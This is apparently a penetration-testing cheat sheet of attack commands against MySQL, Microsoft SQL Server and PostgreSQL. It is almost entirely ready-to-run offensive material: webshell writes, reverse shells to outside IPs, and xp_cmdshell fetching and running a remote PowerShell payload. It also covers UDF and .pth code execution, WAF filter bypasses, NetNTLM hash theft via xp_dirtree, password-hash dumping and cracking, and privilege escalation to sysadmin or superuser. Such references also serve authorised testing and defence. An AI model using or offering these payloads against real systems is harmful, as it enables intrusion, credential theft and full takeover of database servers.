MySQL (Port 3306)
Connection
mysql -u root # No password
mysql -u root -p # Password prompt
mysql -h <Host> -u root
mysql -h <Host> -u root@localhost
Enumeration
# Nmap
nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,\
mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,\
mysql-variables,mysql-vuln-cve2012-2122 <IP>
show databases;
use <database>;
show tables;
describe <table_name>;
select version();
select user();
select database();
-- Read file
select load_file('/var/lib/mysql-files/key.txt');
-- Write webshell
select 1,2,"<?php echo shell_exec($_GET['c']);?>",4
INTO OUTFILE 'C:/xampp/htdocs/back.php';
MySQL Permissions
SHOW GRANTS;
SHOW GRANTS FOR 'root'@'localhost';
SELECT * FROM mysql.user;
SELECT user,file_priv FROM mysql.user WHERE file_priv='Y';
SELECT user,Super_priv FROM mysql.user WHERE Super_priv='Y';
MySQL INTO OUTFILE → Python .pth RCE
-- Drop a .pth file in Python site-packages for RCE
-- Exploits Python's site.py loading .pth files at interpreter startup
SELECT 'import os,subprocess;subprocess.call("bash -i >& /dev/tcp/10.10.14.66/4444 0>&1",shell=True)'
INTO OUTFILE '../../lib/python3.10/site-packages/x.pth';
-- Then request any CGI Python script to trigger execution
MySQL UDF (User Defined Function) RCE
-- Linux: Upload malicious library
use mysql;
create table npn(line blob);
insert into npn values(load_file('/tmp/lib_mysqludf_sys.so'));
show variables like '%plugin%';
select * from npn into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/lib_mysqludf_sys.so';
create function sys_exec returns integer soname 'lib_mysqludf_sys.so';
select sys_exec('id > /tmp/out.txt; chmod 777 /tmp/out.txt');
select sys_exec('bash -c "bash -i >& /dev/tcp/10.10.14.66/1234 0>&1"');
Rogue MySQL Server Attack
When JDBC clients connect to attacker-controlled MySQL server withallowLoadLocalInfile=true:
# Start rogue MySQL server
java -jar fake-mysql-cli.jar -p 3306
# Then direct victim to: jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true
Extracting Credentials
# Plain-text password in debian.cnf
cat /etc/mysql/debian.cnf
# Hashes from MySQL data files
grep -oaE "[-_.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"
# Crack SHA-256 hashes (MySQL ≥ 8.0)
hashcat -a 0 -m 21100 hashes.txt /path/to/wordlist
john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist
Microsoft SQL Server (Port 1433)
Connection
# mssqlclient.py (Impacket)
mssqlclient.py [-db volume] <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>
mssqlclient.py -windows-auth <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>
# sqsh
sqsh -S <IP> -U <Username> -P <Password> -D <Database>
sqsh -S <IP> -U .\\<Username> -P <Password> -D <Database> # Local user
Enumeration
# Nmap
nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,\
ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,\
ms-sql-dac,ms-sql-dump-hashes \
--script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,\
mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP>
-- Version and user
select @@version;
select user_name();
-- Databases
SELECT name FROM master.dbo.sysdatabases;
-- Tables
SELECT * FROM <databaseName>.INFORMATION_SCHEMA.TABLES;
-- List users and hashes
select sp.name as login, sp.type_desc as login_type, sl.password_hash,
sp.create_date, sp.modify_date,
case when sp.is_disabled = 1 then 'Disabled' else 'Enabled' end as status
from sys.server_principals sp
left join sys.sql_logins sl on sp.principal_id = sl.principal_id
where sp.type not in ('G', 'R') order by sp.name;
-- List linked servers
EXEC sp_linkedservers;
SELECT * FROM sys.servers;
-- My permissions
SELECT * FROM fn_my_permissions(NULL, 'SERVER');
SELECT * FROM fn_my_permissions(NULL, 'DATABASE');
OS Command Execution via xp_cmdshell
-- Enable xp_cmdshell
EXEC sp_configure 'Show Advanced Options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
-- Execute commands
EXEC master..xp_cmdshell 'whoami';
EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.13:8000/rev.ps1") | powershell -noprofile';
-- Bypass blacklisted "EXEC xp_cmdshell"
'; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net' --
Steal NetNTLM Hash
-- Trigger outbound auth to Responder
xp_dirtree '\\\\<attacker_IP>\\any\\thing'
exec master.dbo.xp_dirtree '\\\\<attacker_IP>\\any\\thing'
EXEC master..xp_subdirs '\\\\<attacker_IP>\\anything\\'
-- Capture with
sudo responder -I tun0
sudo impacket-smbserver share ./ -smb2support
Privilege Escalation: db_owner to sysadmin
-- Find trustworthy databases where you are db_owner
SELECT a.name,b.is_trustworthy_on FROM master..sysdatabases as a
INNER JOIN sys.databases as b ON a.name=b.name;
USE <trustworthy_db>
-- Create stored procedure as owner
CREATE PROCEDURE sp_elevate_me WITH EXECUTE AS OWNER
AS EXEC sp_addsrvrolemember 'USERNAME','sysadmin';
-- Execute it
USE <trustworthy_db>
EXEC sp_elevate_me;
SELECT IS_SRVROLEMEMBER('sysadmin');
User Impersonation
-- Find impersonable users
SELECT distinct b.name FROM sys.server_permissions a
INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE';
-- Impersonate sa
EXECUTE AS LOGIN = 'sa';
SELECT SYSTEM_USER;
SELECT IS_SRVROLEMEMBER('sysadmin');
REVERT; -- Revert back
Write Files
-- Enable Ole Automation Procedures
sp_configure 'show advanced options', 1; RECONFIGURE;
sp_configure 'Ole Automation Procedures', 1; RECONFIGURE;
-- Create file
DECLARE @OLE INT; DECLARE @FileID INT;
EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT;
EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1;
EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>';
User Enumeration via RID Brute Force
nxc mssql 10.129.234.50 --local-auth -u sqlguest -p 'password' --rid-brute 5000
PostgreSQL (Port 5432)
Connection
psql -U <user> # Local
psql -h <host> -U <user> -d <db> # Remote
psql -h <host> -p <port> -U <user> -W <pass> <db>
Enumeration
\list -- List databases
\c <database> -- Use database
\d -- List tables
\du+ -- Get users and roles
SELECT user;
SELECT current_catalog;
SELECT usename, passwd FROM pg_shadow; -- Credentials
SELECT current_setting('is_superuser');
File Read
-- Requires pg_read_server_files or superuser
CREATE TABLE demo(t text);
COPY demo FROM '/etc/passwd';
SELECT * FROM demo;
-- pg_read_file function
SELECT pg_read_file('/etc/passwd', 0, 1000000);
COPY TO PROGRAM (RCE)
-- Requires superuser or pg_execute_server_program
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
DROP TABLE cmd_exec;
-- Reverse shell
COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);
$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");
STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';
-- Bypass keyword WAF filter
DO $$
DECLARE cmd text;
BEGIN
cmd := CHR(67) || 'OPY (SELECT '''') TO PROGRAM ''bash -c "bash -i >& /dev/tcp/10.10.14.8/443 0>&1"''';
EXECUTE cmd;
END $$;
File Write
-- Requires superuser or pg_write_server_files
COPY (SELECT convert_from(decode('<BASE64_PAYLOAD>','base64'),'utf-8'))
TO '/just/a/path.exec';
Privilege Escalation: CREATEROLE
-- If you have CREATEROLE, grant yourself to powerful groups
GRANT pg_execute_server_program TO username; -- RCE
GRANT pg_read_server_files TO username; -- File read
GRANT pg_write_server_files TO username; -- File write
-- Change other user passwords
ALTER USER user_name WITH PASSWORD 'new_password';
-- Escalate to superuser via COPY
COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username> WITH SUPERUSER;"';
PostgreSQL Configuration File RCE
-- Method 1: ssl_passphrase_command
-- Set ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'
-- Set ssl_passphrase_command_supports_reload = on
-- Execute: SELECT pg_reload_conf();
-- Method 2: archive_command (requires archive_mode=on)
-- Set archive_command = 'reverse_shell_command'
-- Execute: SELECT pg_reload_conf(); SELECT pg_switch_wal();
Dumping Hashes and Credentials
# PostgreSQL credential hashes
msf> use auxiliary/scanner/postgres/postgres_hashdump
msf> use auxiliary/scanner/postgres/postgres_schemadump
# From pgAdmin4 database
sqlite3 pgadmin4.db "select * from user;"
sqlite3 pgadmin4.db "select * from server;"
Privilege Escalation: Overwrite pg_authid
If you can read and write files, overwrite the pg_authid table filenode to become superuser:-- 1. Get data directory
SELECT setting FROM pg_settings WHERE name = 'data_directory';
-- 2. Get pg_authid filenode path
SELECT pg_relation_filepath('pg_authid');
-- 3. Import current filenode
SELECT lo_import('/var/lib/postgresql/13/main/global/1260', 13337);
-- 4. Edit with postgresql-filenode-editor (set all rol* flags to 1)
-- 5. Export modified filenode back
SELECT lo_from_bytea(13338, decode('<BASE64_EDITED_FILENODE>','base64'));
SELECT lo_export(13338, '/var/lib/postgresql/13/main/global/1260');
Quick Reference: Nmap Commands
# MySQL
nmap --script=mysql-databases.nse,mysql-empty-password.nse,mysql-enum.nse,\
mysql-info.nse,mysql-variables.nse,mysql-vuln-cve2012-2122.nse <IP> -p 3306
# MSSQL
nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,\
ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes \
--script-args mssql.instance-port=1433,mssql.username=sa,mssql.password= -sV -p 1433 <IP>
# PostgreSQL
msf> use auxiliary/scanner/postgres/postgres_version
msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection